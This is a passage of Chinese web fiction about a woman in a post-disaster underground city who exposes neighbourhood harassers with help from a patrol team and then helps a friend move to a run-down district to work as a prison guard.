因为离得近，秦小薇把每家店都尝了一遍，最后发现，还是最开始那家炸蘑菇店的味道做得最好…… 她实在是馋老板的配方，还趁着过去买东西的时候，问老板面糊和调味料卖不卖，得知她的来意后，老板非常豪爽地表示，只要秦小薇提供原材料，他就可以帮忙加工。 因为是邻居，老板加工费收得也不贵，秦小薇大喜过望，第二天，就提着一堆里脊肉、肋排去找老板了。 然后……她和店里的员工就尝到了惦记许久的桥头炸肉和桥头排骨，肉类的香气太过霸道，还为老板招揽了不少生意。 这天早上，秦小薇还没睡醒，就被外面的动静吵醒了，她看了下时间，才凌晨四点半。 富人区这边因为人员并不密集，再加上限制油车上路，如果没什么特殊情况，平时都很安静，晚上几乎听不到什么动静。 她打开床头灯，掀开被子下了床，赤着脚踩在地板上，朝着窗边走去，屋里开了地暖，就算她没穿鞋袜，也一点都不觉得冷。 地下城还没“开灯”，外面很黑，但秦小薇依旧能看到一束束手电筒的光出现在街道上。 她定睛一看，发现别墅区有很多工人都在搬家，路上还有不少车辆来来往往，看起来竟然比白天还要热闹！ 她家前面就是陆昼的别墅，他平时不住这边，所以前面的别墅很少亮灯。 但此刻，屋里却是灯火通明，不断有人搬着各种东西进进出出…… 她想了想，给陆昼打了个电话。 陆昼：“喂？” 他的声音很清醒，听不到一丝睡意。 秦小薇：“外面出什么事了？怎么这么多人在搬家？” 陆昼：“打仗了，有几个偏远的小镇被敌军用轰炸机轮了一遍，我们小区很多人收到了消息，担心战争会蔓延到宁市，就搬来地下城了……” 距离陆昼的堂哥被召回部队已经过了很久了，但一直没有消息传回来，秦小薇还以为那边一切顺利，没想到，竟然真的打起来了…… 秦小薇：“几个镇都被炸了？死伤很严重吗？” 陆昼：“人都搬去地下城了，镇子都空了，听说就炸毁了一些房屋，没什么人员伤亡……” 秦小薇又打听了几句战场的情况，但陆昼知道的也不多，他还在忙着搬家，她也就没和他聊太久。 虽然这一年多天灾不断，但秦小薇一直觉得，“战争”这个词离她的生活很遥远，现在陡然得知边境那边真的打仗了，重新躺回床上后，一向睡眠质量很好的她竟然失眠了。 她睡不着，干脆拿出手机，在网上搜索了一下相关的消息，但官方似乎封锁了消息，她什么都没查到…… 秦小薇只能安慰自己：陆昼都把他的家人转移到地下城了，说明地下城暂时是安全的，因为陆昼的出现，上面肯定提前做了准备，就算真的打起来了，也不一定会吃亏，说不定战争根本蔓延不到宁市…… 外面一直很吵，她在床上翻来覆去许久，也没睡着，六点整，外面的“天”亮起来了，她睡不着，干脆爬起来做吃的。 因为秦小薇一直翻身，朔月后半夜也没睡好，她在厨房忙碌的时候，德牧就趴在客厅的地毯上打哈欠。 她今天的早餐是土豆丝培根卷饼配牛奶，原材料都是农场出产的，虽然做法很简单，但非常香，在食物的香气中，秦小薇的心情都没那么沉重了。 秦小薇正准备上桌吃饭，外面的大门却被人敲响了，她打开手机监控看了看，是陆昼和香肠。 她走过去打开大门，惊讶道：“你怎么来了？” 陆昼：“我今天有点忙，香肠能在你这放一天吗？” 秦小薇知道，他今天估计要忙搬家的事，他那一大家子亲戚还有保镖，真要是搬到地下城来，要忙活的事可不少。 秦小薇点头：“行啊！我带它去健身房上班……它吃过了吗？我给朔月准备了狗饭，分它一份？” 陆昼：“没吃，它一直从凌晨陪我忙活到现在……” 话音刚落，他自己的肚子也叫了起来。 陆昼：“……” 秦小薇直接拉开大门，让了个位置：“我刚做好早饭……你也一起吃点？” 陆昼没有犹豫，牵着狗就进屋了。 秦小薇做了不少卷饼，本来打算带到健身房当午饭的，现在全都便宜陆昼了，而香肠的狗饭，则是朔月晚上的那顿。 秦小薇从仓库里取出一份炭烤培根放在桌上：“这份我本来打算带去健身房的，所以里面没卷培根，你要加培根就重新弄。” “嗯。”陆昼也没和她客气，他拿了双筷子，把培根铺在卷饼上面，夹起卷饼，就开始吃早饭。 吃了一会，秦小薇忽然问他：“你的家人，以后都要搬进前面那栋别墅？” 陆昼摇头，朝着一个方向指了指：“那边那栋空着的别墅，也是我家的，前面那栋之后只有我爸妈爷爷奶奶外公外婆住，其他的亲戚和保镖住右边那栋……” 秦小薇：“那也挺挤的……” 话刚说出口，秦小薇就觉得，她最近可能是日子过得太好了，不知道什么叫人间疾苦，公租房那边还是四个人挤一间屋子呢，地面上的难民，有些还得十几个人挤一个大通铺……这边七个人住一栋上下五层的别墅，她竟然觉得拥挤！ 陆昼：“我这栋还行，另一栋可能会有些挤，不过他们应该会习惯的。” 秦小薇：“……” 简单聊了几句，陆昼就离开了，秦小薇则在家待到了快八点才出门。 她今天依旧是骑电动车上班，两只狗的体型都不小，电动车前面坐不下，她只能用背带把拉布拉多捆在身后，远远看着，就像是拉布拉多从背后抱住了她一样。 一路上，还引起了不少人的围观…… 她甚至还听到路上有人感叹“这狗简直成精了，还会抱着主人坐车”。 秦小薇：“……”有没有一种可能，狗是被她用背带捆在身上的？ 经过两个多月的发展，店里的生意现在已经稳定下来了，普通的健身课和她们的招牌女子防身课都有人买，营业额占比大概是一比一。 扣除各项成本后，店里一直在盈利，只要地下城保持现状，秦小薇几乎不用担心亏损闭店的问题。 拉布拉多是个社牛，才短短一个上午，它背心后面的背包就装满了——全是它出卖“才艺”后，客人给的“打赏”。 秦小薇觉得，它以后要是没工作了，出去“卖艺”也不会饿死。 中午的时候，秦小薇正吃着自带的午饭，一个客人却忽然找了过来：“小姐姐，那两只都是你的狗吗？” 说话的客人是个年轻的女孩，看长相，应该和秦小薇差不多大，她扎着个方便运动的丸子头，眼睛圆溜溜的，看起来很可爱。 今天有不少人过来和她打听两只狗的情况，秦小薇以为她和其他的客人一样，单纯喜欢小动物，便回道：“不是，德牧是我的狗，拉布拉多是朋友寄养在我这里的……” 女孩：“小姐姐，听说你家的狗去警犬基地上过学……你能不能把它借我几天？” 听到她的话，秦小薇的表情依旧很平静，毕竟健身房开了这么久，她各式各样的客人都遇到过。 之前还有大学生觊觎朔月，提出要把学生证押在她这，免费帮她遛狗…… 她拒绝道：“抱歉，狗不外借。” 女生有些着急，她双手合十，冲着秦小薇哀求道：“小姐姐，我真的很需要它的帮忙，你就借我几天吧！” 她四处看了看，见其他人没注意到这边，才压低声音，小声开口道：“我们隔壁屋住了四个变态，有时候我和室友单独回去的时候，他们就开门扔垃圾，他、他们……扔垃圾的时候不穿裤子，一直冲着我们耍流氓。” 秦小薇：“……” 秦小薇：“这么冷的天不穿裤子，他们不怕把蛋冻掉了吗？” 女孩解释道：“他们不出门，就只把垃圾放在门口，然后对着我们做一些特别下流的动作……我们报了警，但人家说他们不是故意的，扔垃圾的时候遇到我们下班也只是偶然……警察就口头教育了几下。” 秦小薇：“……” 女孩继续开口道：“小姐姐，我想借你的狗养几天，这狼狗看着就凶，有它在，他们应该就不会那么猖狂了……” 秦小薇纠正道：“这是德牧，不是狼狗……狗不能借给你，但是那几个变态，我可以帮你教训一下！” 她想了想，问道：“你和你室友晚上一般什么时候下班？我今天晚上可以和你们一起回去！” 女孩犹豫了一下，视线在秦小薇的身上扫了一圈，最后落在她那肌肉线条十分优美的胳膊上…… 她点头接受了秦小薇的提议：“地下城八点熄灯，我们一般七点半下班，到家的时候，差 不多都熄灯了……” 秦小薇和女孩交换了姓名和联系方式，又约定了晚上见面的时间，才拿起筷子，继续吃中饭。 晚上，健身房关门歇业后，秦小薇和员工们都没回家。 可能是因为地下城娱乐活动匮乏，白天从秦小薇那知道事情的经过后，所有人都对教训变态这事爆发了极大的兴趣，非要留下来陪秦小薇一起。 女孩叫王笑笑，和秦小薇碰头后，看到她身后一大群人，王笑笑震惊地瞪大了眼睛：“薇薇姐，你们……这是要去打架吗？” 秦小薇一本正经道：“打架可是要被送去江安区劳改扫雪的！我们可都是遵纪守法的好市民，我们就只打算拍个视频，记录一下学员们在我们健身房上课的学习成果，然后偶然看到一群男人特别渴望展示自己，顺道给他们宣传一下而已！” 王笑笑“扑哧”一声笑了出来：“哈哈哈，薇薇姐，你说话真有意思，露|阴|癖都能描述得这么文雅！” 秦小薇晃了晃手上的摄像机：“快走吧！等下熄灯了，光线不好，拍出来的照片就没那么清楚了！” 她们人太多了，上楼的时候，她们没一起上去，只有秦小薇和另一个健身教练牵着狗走在王笑笑身后，担心那群变态有所顾忌，她们还和王笑笑离得特别远。 其余人则都守在楼梯间里，随时准备支援。 “咔擦——”王笑笑刚路过那几个变态住的屋子，门就被打开了，几个只穿着一件长袖的男人，提着垃圾袋出来“扔垃圾”。 看到门口的王笑笑后，还冲着她吹口哨，见王笑笑表情羞愤，他们还故意挺动下|身，表情和动作都十分猥琐。 秦小薇连忙举起摄像机，把几人的动作完整地记录下来了。 她的身高实在是太过突出，手里又拿着摄像机，就算走廊里的光线很昏暗，秦小薇他们站得很远，那几个变态也注意到了他们。 “喂，你在拍什么？”其中一人愤怒道。 秦小薇不语，只一味拍视频。 太丑了，她的眼睛脏了！ 与此同时，她身边的教练，没牵住绳子，“不小心”让德牧和拉布拉多跑了出去。 “汪——”两只狗叫得格外凶。 秦小薇连忙大喊：“那不是烤肠，不能吃！” 听到她的话，几个男人顿时脸色大变，捂着重要部位就往屋里跑，其中一人动作特别迅速，退回屋里后就把大门关上了，留下最后面的室友在走廊上独自一人和两只狗“对峙”。 “救命啊——”男人大喊一声，拔腿就跑，因为只穿了拖鞋，跑了没两步，他就摔了一跤，爬起来之后，他也顾不得检查膝盖上的伤，慌不择路地继续往楼下跑。 秦小薇见情况差不多了，拿出手机，给范槿发了条消息，等收到了回信，她才吹了个口哨，把两只狗叫回来。 秦小薇看了眼面前紧闭的房门，她晃了晃摄像机，冲着王笑笑几人大声道：“巡逻队的人就在附近，刚刚跑走的那个，已经被巡逻队以‘扰乱治安管理’的罪名抓走了，明天就会出现在社会新闻上面……” 她的声音很大，躲在屋里的三个男人绝对能听到。 说完，她又拍了拍王笑笑的肩膀：“你先回家吧，晚上巡逻队会重点巡逻这边，要是有人骚扰你，你就打电话报警……” 王笑笑点点头，她弯腰摸了下两只狗的狗头：“汪汪大队今天立功了，明天姐姐给你们带小零食！” “汪——”朔月表现得还算淡定，乖乖坐在地上，香肠听到有吃的，态度一下子热情了许多，一个劲用脑袋拱王笑笑的手。 告别了王笑笑后，秦小薇一群人才下楼，今天只看了一场热闹，没能自己上场，健身房的教练们还有些意犹未尽。 “那几个男的动作也太快了，跟个乌龟似的，一下子就缩回壳里了！” “唉，只抓到了一个，太可惜了！店长，要不咱们明天再来一趟吧？” “今天已经打草惊蛇了，明天他们肯定不敢再犯贱了……” “刚刚还好我动作快！及时躲到楼上去了，要不然就和那个男的撞到了！” “小月亮它们真的好聪明，店长让它们把人往楼下赶，它们就真的把人往楼下赶了！” “……” 几人下楼的时候，刚好看到范槿和她的同伴把那个变态压在地上。 巡逻队把他押走的时候，那人还在叫嚣着，他没有犯罪……不过并没有人理会他的叫嚣。 秦小薇提着摄像机，大步朝范槿走了过去，她把摄像机递了过去：“都拍下来了！” 第110章 第110章狱警（双更合一）…… 范槿接过摄像机后,就直接开机了。 她低头看着屏幕里的画面，满意道：“人脸都拍到了，不错！我回去就写文章,一定好好宣传宣传这几个变态……” 范槿在巡逻队负责宣传的工作,时常发文宣传他们抓到的罪犯,提醒市民们遵纪守法、不要犯罪…… 今天上午，范槿刚好在群里抱怨,说最近没什么宣传素材,他们账号的浏览量都下降了，之前王笑笑找秦小薇求助的时候,她的第一反应就是，这事可以拍给范槿当宣传素材。 王笑笑离开后，她火速联系了范槿,范槿不仅对宣传素材感兴趣,对教训变态也感兴趣，两人一拍即合，三言两语间就商量好了教训变态的计划。 于是,才有了刚刚的这一幕。 当然，这也少不了两条狗的配合。 虽然秦小薇觉得,自己和教练的攻击力比香肠和朔月高多了,但刚刚那种情况，她俩要是冲过去追人，那几个变态只会觉得兴奋,甚至可能敞开胸怀“迎接”她们，根本不会慌不择路地逃跑…… 秦小薇：“咱们今天运气不错，竟然一次就抓到人了！” 那几个变态并不是每天都骚扰女邻居，她们来之前,都做好了多跑几趟的准备。 “还有三个呢，晚点我们还得上去‘问候’一下他们……”范槿低头在摄像机上操作了一会，片刻之后，才把摄像机还给她，“素材复制好了。” 秦小薇点点头，接过摄像机后，又和员工们交代了几句，就带着狗回家了。 半路的时候，地下城就熄灯了，晚上熄灯之后，路上的行人少了很多。 这回，拉布拉多倒是没引起其他人的围观…… 回到富人区后，秦小薇惊讶地发现，富人区竟然十分“热闹”，虽然已经熄灯了，但几乎所有的建筑都亮着灯，整个富人区都灯火通明。 原本略显冷清的商场，此时也十分热闹，秦小薇从外面路过的时候，还能听到里面的音乐声…… 想到里面的高消费，纵然十分好奇，她也没有停下来看看。 到家后，她发现自家门口，挂着三个袋子，有个纸袋外面还系着蝴蝶结，看起来非常精致。 纸袋里面放着卡片，秦小薇打开卡片看了看，才知道，这是昨晚搬进来的住户送的搬家伴手礼。 三个袋子里，分别放着一套瓷器摆件、一份手工做的小点心，还有一盒茶叶。 每份礼物里，都放着一张手写的卡片，写着“希望以后能和睦相处”之类的话，看起来非常用心。 在秦小薇的印象里，搬家后，最多就找比较熟的朋友吃个暖房饭，给不认识的邻居专门准备礼物什么的……完全不在她的考虑范围内！ 想到之前住公寓楼的时候，奚川送的那盒超贵的巧克力，秦小薇不由感叹，这些有钱人，搬家是真的很喜欢给人送礼物啊！ 毕竟是搬家的伴手礼，秦小薇也不好退回去。 她想了想，还是把礼物提回了家。 卡片上写着门牌号，晚点想想送点什么回礼吧！ 晚饭，她吃的是之前做的红烧羊肉配手撕包菜，她空间里各种食材都有，但自己做饭很费时间，有时候一道复杂一点的菜，就得花三四个小时，所以她做饭的时候，习惯性多做几份放仓库里， 之后直接拿出来吃就行了…… 两只狗今天立了功，秦小薇给它们一人一只去骨鸡腿加餐。 吃完之后，秦小薇开始挑回礼，她转了一圈，最后还是决定送自己手工做的水果软糖。 那些软糖五颜六色的，分装之后再装在放礼物的盒子里，稍微装饰一下，看上去也有模有样的，拿来送礼并不寒碜。 包装完礼物之后，秦小薇又翻箱倒柜，找出一本漂亮的便笺本，思考了一会，才开始动笔。 刚写完一张便笺，大门就被敲响了，她打开手机看了下监控，是陆昼。 她朝着两条狗喊道：“朔月，去开门，把香肠放出去，再把门关上！香肠，你主人来接你了，你可以回家了！” 这串指令有点长，但朔月还是立刻去执行了，反而是拉布拉多，就像是没听到她的话似的，依旧趴在她脚边啃磨牙棒。 她拍了下拉布拉多的屁股，但它依旧没什么反应。 秦小薇：“……” 她想了想，还是没动弹，打算等陆昼进来自己把狗带走。 片刻之后，陆昼果然进来了，但他并没有直接带着狗离开，而是在沙发上找了个位置坐下。 秦小薇抬头扫了他一眼：“你怎么还不走？” 陆昼：“朋友组了个局，想拉我过去，来你这躲一躲……” 秦小薇不理解：“不想去直接拒绝不就行了，为什么要躲？” 他似乎是回忆起了什么，露出了一个一言难尽的表情，他冲着秦小薇摇了摇头：“你不懂。” 秦小薇没再管他，让朔月关门回来，才继续低头写卡片。 陆昼看了眼桌上的糖果和礼物盒：“你在准备礼物？送给谁的？” 秦小薇：“附近有邻居给我送了乔迁礼物，我回个礼。” 陆昼：“这些人只是借着这个由头扩展人脉而已，你要是无意和他们深交，可以不用回礼。” 秦小薇的笔顿了下，片刻之后，她继续低头写回信：“说不定人家真的只想和邻居搞好关系呢……” 陆昼没再多说什么，拿了一块糖，撕开直接塞嘴里。 吃糖的时候，他还不忘评价道：“草莓味的有点甜了！” 见他还要伸手拿软糖，秦小薇用笔敲了下他的手背：“别犯贱，我要送人的！” 陆昼只能收回手：“我饿了，有吃的吗？” 秦小薇打开仓库，随后扔给他一袋面包和一瓶牛奶，陆昼也没嫌弃这份晚餐简陋，打开袋子，就直接吃了起来。 写完便笺之后，秦小薇把糖果装好，又找了几个漂亮的袋子，才出门送回礼。 三家邻居，有两家都非常热情，收到回礼后，表现得非常惊喜。 但有一家的女主人，开门看到她的穿着后，态度就非常冷淡，知道她只是一家健身房的“店长”后，她的态度就更冷淡了，甚至可以用敷衍来形容。 秦小薇：原来给邻居送乔迁礼，真的只是某些有钱人扩展人脉的方式！ 她也没生气，回完礼就回家了。 这个世界上拜高踩低的人多着呢，她要是碰到一次就生一次气，估计会被气到长乳腺结节。 她到家的时候，陆昼依旧坐在沙发上玩手机，两只狗则在院子里疯跑。 秦小薇找出摄像机，连接笔记本，打算把之前拍的视频稍微剪辑一下，再打个码、配个字幕，发到健身房的账号上。 她坐在饭桌旁剪视频，陆昼坐在沙发上玩手机，因为别墅的空间很大，他俩其实离得很远。 但陆昼去厨房倒水的时候，路过餐桌，扫到了屏幕里的画面，他停了下来，忍不住挑眉：“当着我的面看这种小电影，你在暗示什么？” 秦小薇头都没抬：“什么小电影？我在剪健身房的宣传视频……” 陆昼：“……” 陆昼：“你们健身房，正经吗？” 陆昼：“你不会是借着健身房的名头，搞什么会所吧？” 秦小薇：“……” 她转头看着陆昼，皮笑肉不笑道：“对啊！我看你还有点姿色，要不要来我们会所当头牌？” 陆昼轻咳一声，这才收敛了表情，不再开玩笑：“这几个人干了什么？你要这么搞他们？” 秦小薇：“裸|奔，耍流氓吓唬小姑娘。” 陆昼皱眉：“这种人，巡逻队和警察不抓吗？” 秦小薇递给他一个“你不懂法”的表情：“人家是在自己家里裸|奔，按规定，抓到了也只能批评教育。” 陆昼：“这两年抓得比较严，很多人怕被抓去劳改，就算犯罪也只擦|边，钻法律的空子……” 秦小薇愤愤道：“这种人才最恶心，就跟苍蝇似的，拍又拍不死，只能让他到处飞恶心人……官方不打算出台什么政策，遏制一下这种现象吗？” 陆昼：“下次开会的时候，我会提的……不过，地下城已经管得很严了，再调整，会增加很多工作量，不一定能通过……” 秦小薇这才停下手上的动作，她转头看他，她握拳做了个加油的手势：“你加油！我相信你在宁市的能量！” 陆昼笑了：“对我这么有信心？” 秦小薇：“毕竟你战绩可查！” 陆昼摇了摇头，没再多说什么。 晚点的时候，秦小薇看到了范槿分享在群里的链接。 【范槿：文章发出去了，薇薇，你看看。】 【范槿：绝对会让他们社死！】 【范槿：[链接]】 秦小薇点开链接看了看，文章的开头，先是简单介绍了一下她们出勤的原因，文章里，并没有提到她们的故意设计，只说是巡逻队收到了健身房的求助，说她们的顾客受到了变态的骚扰。 这篇文章里面，几个男人的关键部位和脸上都被打了马赛克，只是脸上的马赛克打得十分敷衍，只遮住了眼睛，但凡是稍微熟悉一点的人，就能一眼认出他们…… 巡逻队在宁市的人气还是挺高的，文章发出去不过几分钟，下面的评论已经破两位数了，几乎都是在骂那几个变态的。 还有人说应该把人扔到雪地里去，等那玩意冻坏了，他们就不敢再“炫耀”了。 【秦小薇：饭饭，干得漂亮！】 【范槿：我自己的个人账号也发了，那边是视频！】 【范槿：这篇文章的浏览量涨得好快，看来大家还是比较喜欢猎奇的新闻！】 【范槿：这个月的KPI达标了！】 两人聊了一会，消失了一整个白天的肖琳琳出现了。 【肖琳琳：同志们，告诉你们一个好消息！】 【肖琳琳：我因为表现优异，被调去江安区了！】 看到她的消息，秦小薇忍不住皱眉。 【秦小薇：江安区那边的条件不是很差吗？】 【秦小薇：琳琳，你调过去是坏消息吧？】 【肖琳琳：我转正了，还换了个部门，上面调我过去当狱警管犯人！ 】 【肖琳琳：据说那边的犯人特别会搞事情……有时候晚上值夜班的时候，还会商量着越狱！】 【肖琳琳：所以在那边执勤，枪可以一直带在身上，用枪的机会也多。】 【肖琳琳：在那边工作肯定很刺激，我已经有点迫不及待了！】 自从上次在外面和难民们发生了枪战后，肖琳琳就迷恋上了拿枪的感觉，那种肾上腺素飙升的感觉实在是让人上瘾。 但他们上次直接把那群□□的根挖了，虽然她外出执勤的时候一直带着枪，但后面一直没有用的机会。 看着群里的消息，秦小薇不知道该不该替她高兴。 转正了，还能做自己喜欢的事，对肖琳琳来说，似乎是件好事，但江安区那边的环境……秦小薇不由得有些担忧。 【秦小薇：琳琳，你什么时候搬家？要不要我开车送你过去？】 【肖琳琳：不用，我们可以坐物资车过去！】 虽然前一天晚上在群里拒绝了秦小薇的帮助，但第二天上午，秦小薇却接到了她的求助电话。 肖琳琳：“薇薇，我东西有点多，你能帮我把行李送去江安区吗？物资车上的空位不太够……” 上午健身房人流量并不大，秦小薇也就没有拒绝。 秦小薇：“你在哪……好，你在那等我一下，我先去取车，待会去出口的地方找你……” 十五分钟后，秦小薇把车开到了肖琳琳所在的出口，她到的时候，其他人还在往物资车上搬东西。 物资车里很多能量饼干和土豆大米，留给他们放行李的地方并不多，驾驶室里也没有他们的座位，他们只能坐在行李上过去。 肖琳琳的行李几乎是其他人的好几倍，除了衣服、被子，还有实木衣柜、桌椅，各种零碎的小东西、半床乳胶床垫——公租房的床太小了，放不下一床完整的双人乳胶床垫。 看到她的行李，秦小薇有些惊讶：“琳琳，你的东西怎么这么多？” 肖琳琳挠了下脑袋，有些不好意思地开口道：“逛二手市场的时候看到的，我看它们价格都很便宜，又还能用，就没忍住多买了点……” 秦小薇没嫌麻烦，打开后备箱，就准备往里面搬东西：“这些东西一趟装不下，咱们估计得跑两趟，床垫和这几个箱子可以先放这让你同事帮忙看着吗？” 出入口这边除了卸货的工作人员，还有巡逻队的成员。 肖琳琳：“车上还能塞一点……薇薇，你帮我运这个衣柜和桌子就行了！到时候我和我同事坐你车上。” 秦小薇应了声，她拿出弹力绳，把东西搬到后备箱里，三两下就用弹力绳把东西固定好了。 东西固定好之后，她又等其他人把行李搬到车上，才启动车子，跟在几辆大卡车后面，朝着江安区开去。 地上的积雪已经被扫雪车清理过一遍了，但秦小薇开车的时候，依旧非常小心，生怕轮胎打滑，发生追尾事件。 车里的几人，有人开心，有人忧虑——开心自己干了半年多，终于转正了，以后再也不用担心失业的问题了，忧虑江安区的环境，担心自己过去会吃苦。 一个之前去江安区出过外勤的队员为众人介绍着那边的情况：“那边离发电厂太远了，供电供暖都不稳定，浴室里还不能洗澡，全是公共澡堂，而且价格很贵，很多人为了省钱，都不洗澡的，特别臭……” “不过臭味这种事，待个一两天，鼻子就习惯了，我最怕的就是分到危房！晚上睡觉都睡不安稳……” “……” 正在开车的秦小薇也听了一耳朵，她越听，就越替肖琳琳担心。 江安区的环境……怎么听起来比之前的临时避暑点还要差？ 这边距离江安区稍微近一些，但车子依旧开了一个多小时，才到达目的地。 秦小薇开车的时候戴了两副手套，就算是这样，她到达目的地的时候，手依旧冻得有些僵硬，外面实在是太冷了，车里的空调似乎根本不起作用。 跟着物资车把车子开进入口后，刚下车，秦小薇的眉头就皱了起来。 她之前就在网上看到这边的住户吐槽，说这边地下城建筑的质量不行，她之前还以为是个别情况，但她刚下车，头顶就被“小石子”砸了一下。 一抬头，就看到头顶的墙壁上布满了蜘蛛网似的裂痕，低头，地上还有不少之前掉下来的碎水泥。 秦小薇：“……”看起来好危险，这里的天花板不会塌吧？ 她按下心中的担忧，和肖琳琳一起，把她的行李从车上搬了下来，这个出入口每天都有大量物资车出入，这边备了很多运货的小推车，肖琳琳登记了身份信息后，借到了两辆小推车搬行李。 众人推着行李，穿过长长的通道，开始往里面走——这边建得匆忙，进出是没有电梯的，搬运东西只能靠人力或是各种电拖车。 走了二十多分钟后，她们终于进入地下城了。 一股臭味迎面而来，街上很多人，他们看起来非常邋遢，头发油腻腻的，身上的衣服也脏得看不出原本的颜色。 纵然是早就知道这边的环境很差，众人的脸色还是变了变。 “好臭啊！”一个队员小声吐槽道。 原本准备把口罩摘下来的秦小薇默默收回了手，隔着口罩都这么臭，真要是把口罩摘了，她觉得自己会被熏晕。 她四处看了看，一眼就看到了远处几栋呈“V”字形的楼，这并不是设计师搞的建筑艺术，而是建筑变形了。 从垂直的，变成了倾斜的。 楼体上，还能看到几条清晰的裂缝，但透过走廊上的窗户，秦小薇依旧能看到里面人来人往的住户——纵然知道自己住的是危房，他们也没有选择，只能继续住下去。 看到这里的环境，原本还有些兴奋的肖琳琳也皱起了眉头，带着对未来的担忧，众人沿着道路继续往前走。 地下城的路原本就很狭窄，但这里除了行人之外，竟然还有人在路上支帐篷。 秦小薇等他们挪帐篷的时候问了几句才知道，这些人担心房子会塌，才从建筑里面搬出来的。 秦小薇：“……”这边建筑这么密集，要是房子真的塌了，住在路边，也躲不过去吧？ 道路实在是太拥挤了，原本十几分钟的路程，他们硬是走了四十多分钟才到。 这边监狱十分简陋，犯人们的住宿条件也非常差，在地震之前，监狱里一间屋子只关几个人，监狱里还有个小操场让犯人们放风，这里也有操场，但不是让他们放风的，而是让他们打地铺的。 是的，这么冷的天，他们只能在地下城露天打地铺！ 操场周围的墙目测有十米多高，周围还围了一圈全封闭的铁丝网，就像是一个巨大的鸟笼，不过里面装的不是鸟而是犯人！ 路过露天监狱的时候，秦小薇看得心惊胆战。 这么多人，就这样关在里面，要是发生了暴动，不死几个狱警，能平息下来？ 狱警们的住宿环境倒是好很多，和红浦区那边一样，他们在这边住的也是四人间，不过建筑上面没有什么裂纹，看起来比他们沿途碰到的“危房”安全很多。 收拾东西的时候，肖琳琳把戴了一路的手套摘了下来，秦小薇发现，她十根手指头上都长了冻疮，手指肿得跟胡萝卜似的，手背上还结了厚厚的痂，看起来非常吓人…… 秦小薇看着她的手直皱眉：“琳琳，你的手怎么弄成这个样子？” 在她的印象里，肖琳琳的手虽然不说有多么白皙好看，但上面是没有伤疤的…… 肖琳琳看了眼手背上的冻疮，不在意道：“外面太冷了，长冻疮了！养一养就好了……” 秦小薇想了想，问她：“你涂了治冻疮的药膏吗？” 肖琳琳摇头：“去医院问了，医生没给开。”【你现在阅读的是 】 110-120 第111章 第111章种植房（双更合一）…… 秦小薇低下头,盘算着要不要给肖琳琳弄两罐冻疮膏，她空间里倒是不缺药，但两边距离有点远,不知道在同城APP上能不能找到司机师傅把药带过来…… 见她低头不说话,肖琳琳以为她是在担心自己,她在自己的行李里翻了翻，找出一包东西,献宝似的拿到秦小薇面前。 肖琳琳：“虽然医生没给我开药,但是范叔叔给我弄了这个……” 她打开袋子，给秦小薇展示里面的东西。 是一瓶用玻璃罐子装着的猪油和一大包……干辣椒。 秦小薇：？？？ 她知道猪油很滋润,现在地下城有很多人拿它当护肤品，因为猪肉难抢，天灾前被人嫌弃油腻、不健康的猪油,现在一罐能卖到三位数。 不过……用猪油她可以理解,干辣椒怎么治冻疮？ 秦小薇心中疑惑，便直接问了出来。 肖琳琳解释道：“干辣椒加热水泡手泡脚，可以止痒,泡完之后再涂猪油……范槿她奶奶说的偏方，我觉得挺有用的！我脚上也长了冻疮,之前一直痒得睡不着,泡了以后就好多了！” 秦小薇：“……” 她看着肖琳琳手上的伤口，对她嘴里的“有用”深表怀疑！ 她的冻疮都破了，还用热的辣椒水泡…… 秦小薇觉得,辣椒水的作用可能是让冻疮辣到麻木！ 秦小薇觉得离谱，但肖琳琳这话，却引起了屋里其他几人的注意，屋里其他几人都长了冻疮,闻言纷纷打开话匣子，分享她们治冻疮的偏方。 比如白酒煮生姜片，然后用生姜片擦冻疮；用石膏水泡冻疮；用杀猪的时候烫猪的水泡冻疮；用加热鼠标垫敷冻疮…… 有些偏方，秦小薇听起来觉得靠谱，还有些，她觉得也太“偏”了些！ 得知段霞也长了冻疮后，秦小薇默默决定，回去翻一下空间，给三个室友都搞点治冻疮的药膏！ 她天天在地下城待着，除了上下班那一段路，健身房和家里都有暖气，她出去的时候穿得也厚，根本就不冷，再加上养了这么几年，原主的冻疮一直没复发，她也就忽略了这事…… 帮肖琳琳收拾完东西后，秦小薇就准备回去了，肖琳琳要和同事熟悉之后的工作安排，就没送她。 秦小薇原路返回，但半路的时候，却被几个流里流气的男人堵住了。 “哥，她长这么高，是女的吧？” “头发这么长，肯定是！” “也不一定……有些男的审美和咱们不一样，就喜欢留长头发！” “别管了，先问问！” “……” 听着几人的嘀嘀咕咕，秦小薇忍不住皱眉，她左手放到后腰上，语气有些冷：“让让，别拦路！” 附近都是人，看到秦小薇和他们对峙，并没有人过来帮忙，路过的人只是自觉绕过他们……他们似乎对这样的事早已习以为常，甚至都没人回头看热闹！ 听到她的声音，拦路的几人瞬间放松了许多。 其中一人撩了下额前油得能炒菜的刘海，摆出了一个自认为很帅的姿势，冲着秦小薇开口道：“姐姐，你给我们5000，我们哥几个陪你一天怎么样？” 还不等她回话，他边上的人就接话道：“姐姐，我们以前在仲城的夜色酒吧工作，一小时300，你5000包我们四个一天，很划算的！” 秦小薇：“……” 她掏了下自己的耳朵，差点以为自己理解错了他们的意思，她上下打量着几人，有些迟疑地开口道：“你们……以前是男模？” 其中一人点点头：“姐姐，我们什么都会玩，保证把你哄得开开心心的……要不要试试？” 秦小薇：“……” 要是帅哥小奶狗叫她姐姐也就算了，但这几个……长得一般就算了，身上还一股味，那头发都不知道多久没洗了。 他们一口一个姐姐，她鸡皮疙瘩都要起来了。 当街被男模拦住揽客……这里又不是红灯区，她怎么会碰到这么离谱的事？ 她直接拒绝：“不需要，你们找别人吧！” 见她拒绝，其中一人还要拉她的胳膊，秦小薇飞快躲开对方的手，直接抽出电击棍，不客气道：“再不让开，我就动手了！” “哎，姐姐，你别激动……” “我们做正经生意的，不搞强迫那一套的！” “姐姐，你快把东西收起来，你这样会引来警察的！” “……” 他们边说边退，很快就消失在人群中了。 秦小薇：“……”怎么这么快就跑了？她还以为要打一架呢！ 她握着电击棍，继续往出口走。 来的时候，肖琳琳他们穿着巡逻队的队服，沿途的人碰到他们都非常客气，就算有拦路的帐篷，他们说一句“帐篷挡住路了”，人家也很快就把帐篷挪开了。 但出去这一路，就只有她一个人，可能是看她“势单力薄”，短短十几分钟的路，她就被拦下了三次，全是推销的。 路过某栋建筑时，有几个中年女人在楼下为美容院招揽生意，看到她之后，就跟老鼠看到粮食似的，一左一右架着她的胳膊，就要把她往楼上的公租房带。 要不是秦小薇力气大，差点就被她们拉走了…… 从地下城出来的时候，她竟然有种从“狼窝”里出来的感觉。 她沿着来时的路，一路开回了江安区。 